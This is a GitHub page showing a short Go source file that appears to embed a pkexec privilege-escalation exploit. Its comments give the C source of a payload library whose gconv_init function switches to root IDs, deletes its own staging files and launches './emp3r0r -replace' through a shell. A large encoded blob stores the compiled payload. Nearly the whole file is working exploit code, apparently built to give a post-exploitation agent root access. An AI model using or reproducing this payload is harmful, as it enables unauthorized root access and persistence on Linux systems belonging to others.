-
Notifications
You must be signed in to change notification settings - Fork 8
/
blasty-vs-pkexec.go
25 lines (24 loc) · 2.16 KB
/
blasty-vs-pkexec.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package golpe
// payload.so
// #include <stdio.h>
// #include <stdlib.h>
// #include <unistd.h>
//
// void gconv()
// {
// return;
// }
//
// void gconv_init()
// {
// setuid(0);
// seteuid(0);
// setgid(0);
// setegid(0);
// system("/bin/rm -rf GCONV_PATH=. lol payload.so");
// static char* a_argv[] = { "sh", "-c", "./emp3r0r -replace", NULL };
// static char* a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
// execve("/bin/sh", a_argv, a_envp);
// };
//
const so_data = "QlpoOTFBWSZTWT5EhM4ABPB_____9f338_vf-_3_Xv_33_7FIsDiQKJgAdnAyFhWcNt50AP-YhoIyIVuGiNTUwkntU_KnjUjTQA9Q0DEZPUZMjQ9T1DIANADJoaHqHlMj1DQeoBoHqHtUAANEE0mCZGo9MqfpNNJk0NAANDQNABoAGgAMg0AaMnqAAANA0NAEGBNGmhpppiYmhppoYCMAjCAyYCaaMBAGABMjAJpkAyAGIaZCDAmjTQ000xMTQ000MBGARhAZMBNNGAgDAAmRgE0yAZADENMgSIiTTSRp6mp6hjU9QMIPUeptJiBgmag0AHqGg9Jp6mjQ0ANMjTExAyABiD1Hqe56mhbb5uCvLDf37unW3cabTzgqKrCCuLra5b2xUteY07Jd0Eu_dFWTBFiHCmtFeti13qBfVtLbxkvrd9l5WqO017G5IpXkNoU-9CpyIBnNfoVlFaUyis6IWVayQHoEtGlUlzrYxM00krM6jeMxTk7S1raFrUu_5ElppL1kK09rYl2s3H7FzUU-iEGDfVJKCiRRw6C41yI6SQswSSIiUZC7P0Lt8LBxXlYHLq2KGPYY3ZTOEQkRhcvy8uoAiaOPP0LiUqV1cyp-LXTQjE72RU7m9J5TQi5oNvtc3rt15GC62-w12bEur4VIVNZq5x-sv2F91zoyCQuupd1FtmxaASD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